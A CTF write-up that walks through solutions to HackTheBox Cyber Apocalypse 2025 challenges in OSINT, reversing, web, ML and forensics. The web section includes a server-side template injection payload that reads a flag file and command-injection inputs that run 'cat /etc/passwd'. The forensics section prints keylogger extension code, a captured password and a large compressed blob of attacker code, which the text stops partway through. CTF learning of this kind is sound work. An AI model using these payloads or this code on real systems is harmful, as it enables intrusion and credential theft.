Cyber Apocalypse CTF 2025: Tales from Eldoria CTF write-up post banner Background Image, © HackTheBox

Cyber Apocalypse CTF 2025: Tales from Eldoria CTF write-up

| 23 min read

Following the Insomni’hack 2025 CTF, I’ve realized that training was the most useful way to get better and better at CTFs, which is why I’ve decided to take part at this CTF event. Although I was alone, I’ve managed to be 769th out of the 8130 teams.

The certificate that was given to everyone at the end of the event
The certificate that was given to everyone at the end of the event

This write-up will contain the challenges I’ve solved in the order I enjoyed them the most. Starting with an OSINT challenge that lots of people were struggling with, Hillside Haven.

The Hillside Haven (OSINT)

The picture above is the house we had to find. A simple reverse image search would not do the trick, so let’s dive into the information that can be seen from the picture itself:

  • There is a small hill in the background on the left
  • The house number is 356
  • There are overhead power lines
  • There is a number plate that seems to be orange, white and dark blue/black

Here are the items I’m mentioning captured:

Looking at this information, as well as the challenge description, which mentioned the “Western Hills district”, I went ahead and looked at number plate of US states on the west coast on Google Maps Streetview: California, Oregon and Seattle.

When going at random places in California, we can see the number plate being very close to the number plate on the picture we have to find, so that isolates the state to be California. Looking at example number plates of Oregon and Seattle also showed that these were likely not the right states:

So, now that I know the state, I considered Los Angeles or San Francisco to be the main citites this house be in, just because they’re the biggest. To confirm this, I’ve asked a friend which confirmed me the following:

  • Based on the foliage it looks more northern, but not all the way north
  • The greenery indicates it’s probably near water
  • Not somewhere incredibly rural because there is a trash and recycle system, so not in the middle of nowhere
  • It’s not Los Angeles

With this additional and valuable information, I went ahead and focused my search on San Francisco. But not San Francisco directly, just because of the hill on the background, it’s not possible for it to be in the middle of the city. So I focused my search on the northern part of San Francisco. So I’ve written a simple Overpass query to get the houses with numbers in range of 350-359 in that bounding box. Why the range? Because Open Street Map may not have that exact house number mapped and its relevant data. Here is the query I’ve used:

[out:json];

{{bbox=37.8415,-122.6698,38.0405,-122.1316}}

(
  way["addr:housenumber"~"^3(5[0-9])$"]({{bbox}});
);

out body;
>;
out skel qt;

The bbox is a bounding box of the following coordinates:

  • Top left: 38°02’25.9”N 122°40’11.1”W
  • Bottom right: 37°48’06.2”N 121°56’26.1”W
The data matching the query
The data matching the query

So now it’s just a quesion of time and dedication, going at those locations on Google Maps and find a house with number 356 that match the image above.

After some time I’ve found the house in question being 356 Coventry Road, the flag.

The location of the house as seen on Google Maps
The location of the house as seen on Google Maps

EndlessCycle (Reversing)

We were given a binary file (Download the file) to reverse.

Looking at the result of the disassembler, it looks like a new virtual memory-mapped region is created with mmap, likely for some hidden instructions.

Pseudo-C code of the binary
Pseudo-C code of the binary

The values appended to the mmap are also randomly generated, but not entirely because we know the random seed that is being used: srand(data_42b8), which is srand(0xcfd2bc5b).

To generate the virtual memory, the code performs the following:

  • For-loop over the size of the new virtual memory, 0x9E, with i being the iterated number
    • For-loop over data_4040[i]
      • Generate random numbers but don’t do anything with them
    • Generate a random number and append it to the virtual memory

data_4040 is just an array, nothing too spectacular about it, just need to re-create it.

So let’s re-create the virtual memory generated with Python, using the known seed and stages. We can then also use r2 to get the disassembly of the generated virtual memory.

import ctypes

libc = ctypes.CDLL("libc.so.6")

"""
00004040  data_4040:
00004040  0c 00 00 00 70 00 00 00 27 00 00 00 e8 00 00 00 8e 00 00 00 55 00 00 00 20 00 00 00 a1 02 00 00  ....p...'...........U... .......
00004060  39 00 00 00 21 00 00 00 70 00 00 00 2e 03 00 00 67 01 00 00 51 02 00 00 f3 00 00 00 e9 01 00 00  9...!...p.......g...Q...........
00004080  28 03 00 00 5d 00 00 00 a2 01 00 00 e6 02 00 00 49 00 00 00 7c 00 00 00 77 01 00 00 61 00 00 00  (...]...........I...|...w...a...
000040a0  f9 00 00 00 1a 00 00 00 cb 01 00 00 50 01 00 00 4a 00 00 00 38 00 00 00 b9 00 00 00 2a 00 00 00  ............P...J...8.......*...
000040c0  f5 00 00 00 c4 00 00 00 0e 00 00 00 5d 01 00 00 12 00 00 00 8f 00 00 00 10 00 00 00 7c 01 00 00  ............]...............|...
000040e0  46 00 00 00 07 00 00 00 05 00 00 00 bf 02 00 00 09 00 00 00 40 03 00 00 bf 00 00 00 69 00 00 00  [email protected]...
00004100  78 01 00 00 9a 01 00 00 58 00 00 00 99 02 00 00 37 00 00 00 6a 00 00 00 63 01 00 00 41 00 00 00  x.......X.......7...j...c...A...
00004120  0e 01 00 00 29 00 00 00 36 00 00 00 2f 02 00 00 69 00 00 00 08 00 00 00 63 00 00 00 c6 00 00 00  ....)...6.../...i.......c.......
00004140  ee 00 00 00 fc 00 00 00 3b 00 00 00 5b 00 00 00 21 00 00 00 24 00 00 00 9b 00 00 00 42 00 00 00  ........;...[...!...$.......B...
00004160  ba 00 00 00 c1 00 00 00 46 00 00 00 66 02 00 00 dc 01 00 00 4d 00 00 00 06 00 00 00 23 00 00 00  ........F...f.......M.......#...
00004180  00 00 00 00 23 01 00 00 2c 00 00 00 42 00 00 00 16 01 00 00 d3 00 00 00 ed 00 00 00 d6 00 00 00  ....#...,...B...................
000041a0  9f 00 00 00 15 00 00 00 a2 00 00 00 e9 00 00 00 53 02 00 00 47 00 00 00 05 03 00 00 24 01 00 00  ................S...G.......$...
000041c0  44 02 00 00 58 00 00 00 be 00 00 00 1b 00 00 00 b1 01 00 00 1b 00 00 00 45 00 00 00 27 00 00 00  D...X...................E...'...
000041e0  cd 00 00 00 6c 00 00 00 97 00 00 00 e7 02 00 00 d7 03 00 00 ee 00 00 00 76 05 00 00 73 00 00 00  ....l...................v...s...
00004200  0f 01 00 00 c5 01 00 00 7f 00 00 00 a6 00 00 00 c5 00 00 00 5c 03 00 00 0f 02 00 00 23 00 00 00  ....................\.......#...
00004220  4e 01 00 00 f1 00 00 00 04 01 00 00 fe 01 00 00 0f 00 00 00 67 00 00 00 33 02 00 00 fd 00 00 00  N...................g...3.......
00004240  04 01 00 00 94 00 00 00 c4 01 00 00 f0 00 00 00 8c 00 00 00 2b 00 00 00 96 00 00 00 14 00 00 00  ....................+...........
00004260  c8 00 00 00 de 00 00 00 dc 01 00 00 00 00 00 00 37 01 00 00 61 00 00 00 16 00 00 00 57 00 00 00  ................7...a.......W...
00004280  66 02 00 00 4d 04 00 00 83 01 00 00 22 00 00 00 20 00 00 00 d6 00 00 00 6a 01 00 00 2b 00 00 00  f...M......."... .......j...+...
000042a0  54 01 00 00 a5 00 00 00 a4 00 00 00 2a 01 00 00 3f 01 00 00 e2 02 00 00                          T...........*...?.......
"""

dword_4040 = [
    0xC, 0x70, 0x27, 0xE8, 0x8E, 0x55, 0x20, 0x2A1, 0x39, 0x21, 0x70, 0x32E, 0x167,
    0x251, 0xF3, 0x1E9, 0x328, 0x5D, 0x1A2, 0x2E6, 0x49, 0x7C, 0x177, 0x61, 0xF9,
    0x1A, 0x1CB, 0x150, 0x4A, 0x38, 0xB9, 0x2A, 0xF5, 0xC4, 0xE, 0x15D, 0x12, 0x8F,
    0x10, 0x17C, 0x46, 0x7, 0x5, 0x2BF, 0x9, 0x340, 0xBF, 0x69, 0x178, 0x19A, 0x58,
    0x299, 0x37, 0x6A, 0x163, 0x41, 0x10E, 0x29, 0x36, 0x22F, 0x69, 0x8, 0x63, 0xC6,
    0xEE, 0xFC, 0x3B, 0x5B, 0x21, 0x24, 0x9B, 0x42, 0xBA, 0xC1, 0x46, 0x266, 0x1DC,
    0x4D, 0x6, 0x23, 0x0, 0x123, 0x2C, 0x42, 0x116, 0xD3, 0xED, 0xD6, 0x9F, 0x15,
    0xA2, 0xE9, 0x253, 0x47, 0x305, 0x124, 0x244, 0x58, 0xBE, 0x1B, 0x1B1, 0x1B, 0x45,
    0x27, 0xCD, 0x6C, 0x97, 0x2E7, 0x3D7, 0xEE, 0x576, 0x73, 0x10F, 0x1C5, 0x7F, 0xA6,
    0xC5, 0x35C, 0x20F, 0x23, 0x14E, 0xF1, 0x104, 0x1FE, 0xF, 0x67, 0x233, 0xFD, 0x104,
    0x94, 0x1C4, 0xF0, 0x8C, 0x2B, 0x96, 0x14, 0xC8, 0xDE, 0x1DC, 0x0, 0x137, 0x61,
    0x16, 0x57, 0x266, 0x44D, 0x183, 0x22, 0x20, 0xD6, 0x16A, 0x2B, 0x154, 0xA5, 0xA4,
    0x12A, 0x13F, 0x2E2,
]

seed = 0xCFD2BC5B
libc.srand(seed)

mem_size = 0x9E
mapped_memory = [""]*mem_size

for i in range(mem_size):
    for _ in range(dword_4040[i]):
        libc.rand()
    mapped_memory[i] = hex(libc.rand() % 256)

formatted_data = [f"{int(v, 16):02x}" for v in mapped_memory]
print(" ".join(formatted_data))

This resulted in the following output:

55 48 89 e5 68 3e 21 01 01 81 34 24 01 01 01 01 48 b8 74 68 65 20 66 6c 61 67 50 48 b8 57 68 61 74 20 69 73 20 50 6a 01 58 6a 01 5f 6a 12 5a 48 89 e6 0f 05 48 81 ec 00 01 00 00 49 89 e4 31 c0 31 ff 31 d2 b6 01 4c 89 e6 0f 05 48 85 c0 7e 32 6a 1a 58 4c 89 e1 48 01 c8 81 31 fe ca ef be 48 83 c1 04 48 39 c1 72 f1 4c 89 e7 48 8d 35 12 00 00 00 48 c7 c1 1a 00 00 00 fc f3 a6 0f 94 c0 0f b6 c0 c9 c3 b6 9e ad c5 92 fa df d5 a1 a8 dc c7 ce a4 8b e1 8a a2 dc e1 89 fa 9d d2 9a b7

Looking at the code generated by r2, we get the following Assembly code:

 -- You crackme up!
[0x00000000]> pd
     0x00000000      55             push rbp
     0x00000001      4889e5         mov rbp, rsp
     0x00000004      683e210101     push 0x101213e
     0x00000009      8134240101..   xor dword [rsp], 0x1010101  ; [0x1010101:4]=-1
     0x00000010      48b8746865..   movabs rax, 0x67616c6620656874 ; 'the flag'
     0x0000001a      50             push rax
     0x0000001b      48b8576861..   movabs rax, 0x2073692074616857 ; 'What is '
     0x00000025      50             push rax
     0x00000026      6a01           push 1
     0x00000028      58             pop rax
     0x00000029      6a01           push 1
     0x0000002b      5f             pop rdi
     0x0000002c      6a12           push 0x12
     0x0000002e      5a             pop rdx
     0x0000002f      4889e6         mov rsi, rsp
     0x00000032      0f05           syscall
     0x00000034      4881ec0001..   sub rsp, 0x100
     0x0000003b      4989e4         mov r12, rsp
     0x0000003e      31c0           xor eax, eax
     0x00000040      31ff           xor edi, edi
     0x00000042      31d2           xor edx, edx
     0x00000044      b601           mov dh, 1
     0x00000046      4c89e6         mov rsi, r12
     0x00000049      0f05           syscall
     0x0000004b      4885c0         test rax, rax
 ┌─< 0x0000004e      7e32           jle 0x82
 │   0x00000050      6a1a           push 0x1a
 │   0x00000052      58             pop rax
 │   0x00000053      4c89e1         mov rcx, r12
 │   0x00000056      4801c8         add rax, rcx
┌──> 0x00000059      8131fecaefbe   xor dword [rcx], 0xbeefcafe ; [0xbeefcafe:4]=-1
╎│   0x0000005f      4883c104       add rcx, 4
╎│   0x00000063      4839c1         cmp rcx, rax
└──< 0x00000066      72f1           jb 0x59
 │   0x00000068      4c89e7         mov rdi, r12
 │   0x0000006b      488d351200..   lea rsi, [0x00000084]
 │   0x00000072      48c7c11a00..   mov rcx, 0x1a
 │   0x00000079      fc             cld
 │   0x0000007a      f3a6           repe cmpsb byte [rsi], byte [rdi]
 │   0x0000007c      0f94c0         sete al
 │   0x0000007f      0fb6c0         movzx eax, al
 └─> 0x00000082      c9             leave
     0x00000083      c3             ret
     0x00000084      b69e           mov dh, 0x9e                ; 158
     0x00000086      ad             lodsd eax, dword [rsi]
     0x00000087      c5             invalid
     0x00000088      92             xchg edx, eax
     0x00000089      fa             cli
     0x0000008a      df             invalid
     0x0000008b      d5             invalid
     0x0000008c      a1a8dcc7ce..   movabs eax, dword [0x8ae18ba4cec7dca8]
     0x00000095      a2dce189fa..   movabs byte [0xb79ad29dfa89e1dc], al

We can see that there is some data being printed on the screen, such as What is and the flag. Running the binary confirms that it prints “What is the flag” and asks for the flag. Looking at the source, we can also see that there is data being XORed with 0xbeefcafe. We can see some pseudo source code generated by r2dec:

#include <stdint.h>
 
int64_t fcn_00000000 (void) {
    rax = 0x67616c6620656874;
    rax = 0x2073692074616857;
    rax = 1;
    rdi = 1;
    rdx = 0x12;
    rsi = rsp;
    rax = sys_exit (0x1);
    r12 = rsp;
    eax = 0;
    edi = 0;
    edx = 0;
    dh = 1;
    rsi = r12;
    rax = syscall_80h (rdi, rsi, rdx, r10, r8, r9);
    if (rax <= 0) {
        goto label_0;
    }
    rax = 0x1a;
    rcx = r12;
    rax += rcx;
    do {
        *(rcx) ^= 0xbeefcafe;
        rcx += 4;
    } while (rcx < rax);
    rdi = r12;
    rsi = 0x00000084;
    rcx = 0x1a;
    __asm ("repe cmpsb byte [rsi], byte [rdi]");
    al = (rcx == rax) ? 1 : 0;
    eax = (int32_t) al;
label_0:
    return rax;
}

We can see that after performing the XOR with 0xbeefcafe, it is being compared with the data over at 0x00000084. Looking at the Assembly code, this makes sense since because that address there is a ret instruction.

So in much simpler words, the program takes the input, XORs it with 0xbeefcafe and compares with the data starting at 0x00000084, so we can just XOR that data and we get the flag. Here is a simple solver doing it:

encrypted_flag = [
    0xB6, 0x9E, 0xAD, 0xC5, 0x92, 0xFA, 0xDF, 0xD5, 0xA1, 0xA8, 0xDC, 0xC7, 0xCE,
    0xA4, 0x8B, 0xE1, 0x8A, 0xA2, 0xDC, 0xE1, 0x89, 0xFA, 0x9D, 0xD2, 0x9A, 0xB7,
]

xor_key = [0xBE, 0xEF, 0xCA, 0xFE]
xor_key.reverse() # Endianness

decrypted_flag = []
for i in range(len(encrypted_flag)):
    decrypted_flag.append(encrypted_flag[i] ^ xor_key[i % 4])

print(bytes(decrypted_flag).decode())

We then get the HTB{l00k_b3y0nd_th3_w0rld} flag printed.

Trial by Fire (Web)

Upon visiting the challenge’s page, I am prompted with a name to give, and then there is some battle going on with a battle report shown at the end.

On the ingex page there was some interesting “Can you read the runes? Perhaps 49 is the key.” text. Looking at the given source code, it is being evaluated as {{ 7 * 7}} which is a fairly common PoC of Server-Side Template Injection vulnerabilities. So I shifted my focus on that. On the battle report page there is the name warrior name printed:

<div class="warrior-info">
  <i class="nes-icon is-large heart"></i>
  <p class="nes-text is-primary warrior-name">{warrior_name}</p>
</div>
The battle report at the end with payload {{7*7}}, SSTI confirmed
The battle report at the end with payload {{7*7}}, SSTI confirmed

Now it’s just about crafting the payload to read the flag.txt file using SSTI:

{{ request.__class__._load_form_data.__globals__.__builtins__.open("/app/flag.txt").read() }}
Entering the battle...
Entering the battle...
...to get the flag!
...to get the flag!

Whispers of the Moonbeam (Web)

Another web challenge where we are greeted with a pseudo-terminal. So this already screams command injection.

Executing the command examine, we can see at the bottom root, so now I tried command injection in this command, as it was probably a whoami command. Executing it with examine root returned an error, executing with examine; cat /etc/passwd we got the content of the file:

Command injection on the web app
Command injection on the web app

Now we just need to execute examine; cat flag.txt to get the flag, which we successfully get:

> examine; cat flag.txt
🪞 In the dim tavern light, you notice...

root
HTB{Sh4d0w_3x3cut10n_1n_Th3_M00nb34m_T4v3rn_79f03698ccf04260551b16ce76c0e5b6}

SealedRune (Reversing)

We were given a binary file (Download the file) to reverse.

Opening the binary in Binary Ninja showed an interesting decode_flag method, as well as the base64 encoded flag

Binary Ninja output
Binary Ninja output

Decoding the flag results in

.`}d3l43v3r_c1g4m_3nur{BTH` si lleps terces ehT
<reverse>
The secret spell is `HTB{run3_m4g1c_r3v34l3d}`.

EncryptedScroll (Reversing)

We were given a binary file (Download the file) to reverse.

Opening the binary in Binary Ninja showed an interesting decode_flag method, as well as the base64 encoded flag

Binary Ninja output
Binary Ninja output

It appears to just take the values order in var38, var_30 and var_24 and then performs a simple - 1 operation on every character. But var_30 seems to be overwritten, but is that accurate? Let’s look at the relevant Assembly code:

000012aa  48b84955437c7432…   mov     rax, 0x716e32747c435549
000012b4  48ba6d3460676d35…   mov     rdx, 0x6068356d6760346d
000012be  488945d0            mov     qword [rbp-0x30 {var_38}], rax  {0x716e32747c435549}
000012c2  488955d8            mov     qword [rbp-0x28 {var_30}], rdx  {0x6068356d6760346d}
000012c6  48b86d3568603573…   mov     rax, 0x753273356068356d
000012d0  48ba696e34753264…   mov     rdx, 0x7e643275346e69
000012da  488945dc            mov     qword [rbp-0x24 {var_30+0x4}], rax  {0x753273356068356d}
000012de  488955e4            mov     qword [rbp-0x1c {var_24}], rdx  {0x7e643275346e69}

The var_30+0x4 part is pretty important, we can see that there is an offset of 0x4 added, so we can simply ignore the last 8 characters of that data, which results in 753273356068356d converted to just 75327335, which makes sense because 6068356d is also at the beginning of var_30, so it’s likely repeated and unnecessary data.

We can simply decrypt the flag with the following code:

encrypted_flag_parts = [
    bytearray.fromhex("716e32747c435549"),  # var_38
    bytearray.fromhex("6068356d6760346d"),  # var_30
    bytearray.fromhex(
        "75327335"
    ),  # var_30_2 -> removed 6068356d at the end because of var_30+0x4
    bytearray.fromhex("7e643275346e69"),  # var_24
]
for part in encrypted_flag_parts:
    part.reverse()
    decrypted_flag_part = [chr(ord(c) - 1) for c in part.decode()]
    print("".join(decrypted_flag_part), end="")

Which results in HTB{s1mpl3_fl4g_4r1thm3t1c} being printed.

Hence another, much smaller, decrypting script could look like

var_38 = "IUC|t2nqm4`gm5h`5s2uin4u2d~"
for c in var_38:
    print(chr(ord(c) - 1), end="")

Enchanted Weights (Machine Learning)

We were given a pth file (Download the file). With my knowledge in machine learning being super low, I’ve wondered if I could solve this challenge, which I could.

The title gave away quite some information, “Enchanted Weights”, so I used pytorch to look at the keys of the model.

import torch

data = torch.load("enchanted_weights.pth")
print(data.keys()) # reveals odict_keys(['hidden.weight'])

The data contained in this dictionary was either some 0 or some number that was interestingly in the ranges of ASCII. So I ignored the 0 values and decoded the rest

import torch

data = torch.load("enchanted_weights.pth")
print(data.keys()) # reveals odict_keys(['hidden.weight'])

weights = data["hidden.weight"].flatten()
flag = [chr(x) for x in list(map(int, filter(lambda x: int(x) != 0, weights)))]
print("".join(flag))

Which revealed the HTB{Cry5t4l_RuN3s_0f_Eld0r1a} flag.

Stealth Invasion (Forensics)

We were given a 4GB windows memory dump, so obviously it was time for vol3 again. There were several information we had to give as flags.

Getting Chrome PID

The PID of the Chrome process (4080) was found with

vol -f memdump.elf windows.pslist | grep chrome

Getting the Folder on the Desktop

The malext folder on the Desktop could be found with

vol -f memdump.elf windows.filescan | grep Desktop

0xa708c8d9ec30	\Users\selene\Desktop\malext\background.js
0xa708c8d9fef0	\Users\selene\Desktop\malext\manifest.json
0xa708c8da14d0	\Users\selene\Desktop\malext\rules.json
0xa708c8da1e30	\Users\selene\Desktop\malext\content-script.js
0xa708c8dac3d0	\Users\selene\Desktop

I’ve then dumped the files, as they were likely important for the next tasks.

Getting the Chrome Extension ID

The background.js file showed that data is being logged on the storage API with the addLog function:

function addLog(s) {
  if (s.length != 1 && s !== "Enter" && !s.startsWith("PASTE")) {
    s = `|${s}|`;
  } else if (s === "Enter" || s.startsWith("PASTE")) {
    s = s + "\r\n";
  }

  chrome.storage.local.get(["log"]).then((data) => {
    if (!data.log) {
      data.log = "";
    }

    data.log += s;

    chrome.storage.local.set({ log: data.log });
  });
}

A quick Google searched gave away the location of the local storage location being \Local Extension Settings\{extension_id} so we can run a windows.filescan command again and grep for that location, where we then get the long extension ID being nnjofihdjilebhiiemfmdlpbdkbjcpae

0xa708c8830c80	\Users\selene\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nnjofihdjilebhiiemfmdlpbdkbjcpae\LOG

Getting log filename in which the data is stored

Here as well, I just ran a windows.filescan command and grepped for the extension ID nnjofihdjilebhiiemfmdlpbdkbjcpae, which gave away the 000003.log file.

vol -f memdump.elf windows.filescan | grep nnjofihdjilebhiiemfmdlpbdkbjcpae

0xa708caba14d0	\Users\selene\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nnjofihdjilebhiiemfmdlpbdkbjcpae\000003.log

What URL the user navigated to

Seeing the code of the background.js file it’s pretty obvious it’s a keylogger, so the 000003.log file likely contains the pressed keystrokes.

vol -f memdump.elf -o files windows.dumpfiles --virtaddr 0xa708caba14d0

The dumped file revealed following data

000003.log file content
000003.log file content

Looking at it, we can clearly see drive.google.com being typed by the user.

Getting the password of [email protected]

The clip-mummify-proofs password is also pretty obviously seen from the log file, we just need to look at the last line of the file being

drive.google.comEnter
selene|Shift|@rangers.eldoria.comEnter
clip-mummify-proofsEnter

ToolPie (Forensics, Unfinished)

This is an unfinished challenge, due to my time being very short after successfully decompressing the bz2 data 2 minutes before the end of the CTF

The stress was real
The stress was real

We were given a network capture file (Download the file) to investigate and multiple flags to give.

IP address responsible for compromising the website

Looking at the HTTP packets, we can see that the IP 194.59.6.66 executed a /execute endpoint.

Name of the endpoint exploited

Can be found together with the first flag.

Name of the obfuscation tool

The data of the code executed can be easily recovered

The executed, obfuscated, code
The executed, obfuscated, code

To deobfuscate it, we can just reverse the compression and get the resulting constants

import bz2
import marshal

decompressed_data = bz2.decompress(
    b'BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xec\xe4\xec\xec\xc0?\xd9\xff\xfe\xf4"|\xf9`\r\xff\x1a\xb3\x03\xd1\xa0\x1e\xa9\x11\x07\xac\x9e\xef\x1e\xeez\xf5\xdb\xd9J\xde\xce\xa6K(\xe7\xd3\xe9\xcd\xa9\x93\rS@M\x134&\r\x11\x94xF\x11\xa6\x89\xb2\x99\xa6\x94\xf0\x1ai\xa1\xa6\x9a\x03AF\xd1\x1e\x9e\xa1\x9a\xa7\x89\xa6L\x84\xf5\x1ayC\xd44z\x993S h\r\x0f)\xe9\x03@\x03LG\xa9\xa0\x1a\x04DI\xe8\x19$\xf4\xc9\xe92a\xa3D\xc9\x9aL\x11\x81O\'\xa4\x9e\x935=M\xa4\xd0\xd1\xa6&F\x81\x93L\x86\x80\x00\x00\x06\x80\x00\x00\x00\x00\x00\x00\x00\x00\rM\t4\xd1\x80L\t\x91\x18\xa9\xe4\xc6\x94\xd8\xa7\xb5OS\xc9\xa4=#\xf54\xd4\x06j\x07\xa9\xeaz\x9a\x1e\xa1\xa0z\x86\x83M\x03jh\x00\x03A\xa6@\x1a\x00\x00\x03\xd4\x00\x1e\xa7\x944\x005=\x10\x93\x10\x9b@\x994\xc8\x99\xa3J\x1bM\x1ajyOF\xa6\x98\xcab\x0c\xd16\xa0m&\x8fH\xd3@44\x01\xa0\x00\r\x03@\x004\x19\x00\x00\x00\x004\x1a\x01U44\x00\x03@\xd0\x1a\x0044\xd0\x06@\x1a\x00\x004\xd0\x18\x98\x86@42d\x00h\x1ad\x00\x00\x00\x004h\x00\x00\x00`\x91$Bhh4`\x9a\x19\x04\xc3@\xa9\xedS\xf4S\xd2\x1b\xd4\xda&M&\xd2m#\xcai\xfa\x8c\x93e=@\x1e\x91\xa0z\x8cjh\xd1\xa6\x80\x00\xd0\x004\x1e\xa0\x01\xa0\x1a4i\xb54\xd3\x10\x1f\xdf\xcb\x98\x99\r\xa1\r\x8c`\xd86\x0cd\xe9\xc3\x06\x9bm6\xdbm\x1b\xf1"\xf0\xd2\xa7\xd5p,\x171gAcG]V\xcfvr\x9e\r\x9d=\x13?N\xfa\x8bw3l`\x0e\x1c\xda\xdc\xb0VU\xa0\xe7\x8df>$\x10\xb5\xf2+fu\xd6\xd5\xed\x9a\x9c|b\xb1\xc4\xd1P\xd0\x95\xf8\x10\xc0\xb8\xd2\x10\\ 9\x83UF#^H\x12\x12\x91\x98\x9c\x1d\x89BQ\x8eC\x92\x066\x8bDp\x8a\xaa\x03e%\xad\xc4\xe5o\x8f\x01\xa0\x11\x84\xac\xb8H\x01^\xb7\x84y\xed\x0cU\xb37\xd7[w\xddm\xf4\xf9\xdb\xee7\xa6\x98\xe2-A\xea\x1c\xd6\xbe\xbf1\xe2\x03\x89A:2\xb0n\x0b\xc169\x8a\xab\n\\\xa4\xa0\xbb{ \x11\xa7\x1e-\xbc,P`F\xad\x08\xe1\x8dY\x9b\x02,\x8cs#eg%\x97\x071\xda\xe8XA|>\xa1\xae\xaah%\xc4]\x95w*4i[\x85\xee\xee=\xcf\x935q\x02uo"\xaf\x81/\xc0\xca\xbdF;\xf6\xef\xaa\x99A/ \x91\xef\x0b\xe1\xd9\xa4`w\x9e\xc6\x88\xf2\xa9S\xe3\xa6x\xaf|\x0b*IE\x02\x8a(NL\x00]?\x12\x10p=w\xc6\x92G\x8a\xd2\xff\x17}~y3\xe3\xe9f\xf1\xff\xaf\xf2\xa5\xb9\xa5\xcc\xfd;W\xdd\x1e\xcd\x9e\x0bD5\x0b\x0f\xc6wFW\\\xd5\x8d Gh\xc1\n|x2\x99&\x8e\\\xa5Ba\x7f6!\x10\xe4\xd0p\x18\x90\x97k4\x1a\xec@\x1b~~\x8d\xfe\xee\x96\x07\x8f\xd6\xe1SS\xcdOv\x8c\x89\xd2I\x150\xa5\xdd\xaa>E\x07\xdb\xf8l\x97V\xa0\x1c\x8d\xd9\xa50\x17[h\xd1\x02\x08!f\xad\xea\xa0"\x88\xceC\x0c\x0fVG^\xc0\xea_\x10\xbd\xa1m{5IL\xbb\xd2\x9an\x07\xd9a\x98jgIwr&&\x06\x0c\x8aH\xe73\xdd\xb1\x050\x9f\x1f\x1f\xe1J\'\x9d\x8cY\xa8\x11\x0b\x08\x0fd*\xf2\x9d\xc2\x84$\x10\x8a\xd9\xc1\xe05\xecs\xdeC\x9a\xd1\xb7\x85\x0eNiJj2\x9ag\x12\x94M)\xd2\r\xf3\xa8\x84\xc9\xc2\x06\xe1\x14\xda\xd1\x1e\x1bV\x1a\x0b\xe666\xc6~V\x81/r\x98\x95\xf2g\xc7Mm<\xed\xb0\xe9ko\x01\xcb4\x88\x17\x84\x8a"J\x9bJ\x18\x0ch;\x84\tv\xcb\xbaEL\x99\xdf\xaa)q/t:45\xba\xbf\x84V\xf5\xb3\xad\x8c\xee\x11\xe2(\x18>\xea3\xa9\x98\xa8B\xcf\xb5\xdc\xed\xacI<\x90\x06\x1d0)Y@\x86\x07\x7f\xee\xb9\xf5{m\xdf\x83Hf\xb3T\xd2\xdf\x9c\xc6\xab\xac\x13\x99\xcb\xec\xf5K\xf2\x80\xce\x9fC\xf4w\xeb\x1fa\x08\xd8\r\x80<%\x90w\x8b\xe8}\x8d\xda\x96\xcf)\x1a\xbaD.\xa3\xc2\xe5E\xe3\xc9p\xa8&w\x10\x14\xc6$v-I\xd9\xbd\xcf\xbf\xe1\xce\x19\xcdf\x07\x0b\x7f\xd7\xc8:\xa6nw\xfc=M\\n\xc7\x02\x96\n\x85".j\xa8G}\x04\xef\x1e+\xb0)4\x82G_\x05\xfe\xbe\x94\xf3\x03\xd4*\xe2\xf7T\xa8\x97\x97\xc3X\x8a\x9a;\x9a\xbei\xc9\xad\xd1\xd2\xcf\xde4fpz\xce\rY\xa5\xa2s\xad\xf8(S\xf3*\x85\xea$\x14\x18\xb6\x1a\xbb\xc5.O\xc3\xb7\x89\xeb9\x1a4\xd3\xe0\x999r\x99\x9a(\x84\xce\x17\x0bk\xa59\xd2X\x88\x815\xab\x10x\x9f\xb7\xc5\xe7_R\xaa\xaa\xab\xf2\x9e\xe1\xb9\x8aK\x91\xa3\xa1\xa7\xc0\x94\x8f3\xca\x82\x8azY\xc4g\xed\xcf\xa9BO:`\xb5\x1b2\x12\xbb\x89\x17[m\xa2\xe8\xc4\x0ctJ/-\xa5\xbf\xf1\xffq\x7f\xda\x9a\xd9\x00\xb2\x0b\x98L\x7f\x17\xb4\xc9g}\x1e\xfeSh \xc3\x98fIq\x05]\xb1\x8aB\x98\xc7\x94\x03=2&\x06v@s\x0fX\xb3\xadZ\xcf\xac\xf6\xae\xe2\x0b\xaa\xe4\x99\xf3\xf5<\xd7\x81mu\x87\xb5\x97\xd2\xc3\xb4p\xb5\xad\xd9y\x15\xf2\x06,\xa7;\xe2\xe4\xcaH\xbf\xd5\x92@\xae\x0c\x91\xddD\x9by\xd5\xccj\x7f\xa9\x19\xad\xa3\x07\xbdI\x84\xa9|k/\x0f7=ji\x12\xba\xd4\xfaI\x8c\xa9\x94\n\x9b\xa43\x0e\xa6O\xd3\x8d\xf5\x83\x06\xd8\xaehhl\x05*;\xda\xaa\xd9he\xc8\x8f2!\x98\xd6-B\xa9\xcf\x9a\xb9_\xa4\xec\xda\x08<\xe3\r\xeem\x1el\xd8\xfc}3\xc4\xbal\xe5,P\xe4^\xae-\x97\x91j0\xec\xc8bB\x85\xd1.\xf5T\xa4\xf1\x83\x89\xc4-\\\x00\xf0\xbb\x1a\xd2\x89K\xb58\x96\xe2\x88\xdd<q\r\xbb0\xc4Ac\x95.v\x94\x08>\xca\x8b\xf5\xa1\xaf\x1fVH\x16\n\xfe+\x02\x9f\xe9\xa7VP\x1a\x03m\x01\xab\x0b\xf8\xd1&\xacq\xadg\x0f\xfc\x98N\x91XRQ\x88\xcf- 4K\x84q"\xec\xb2\x8c\xe6e\x86 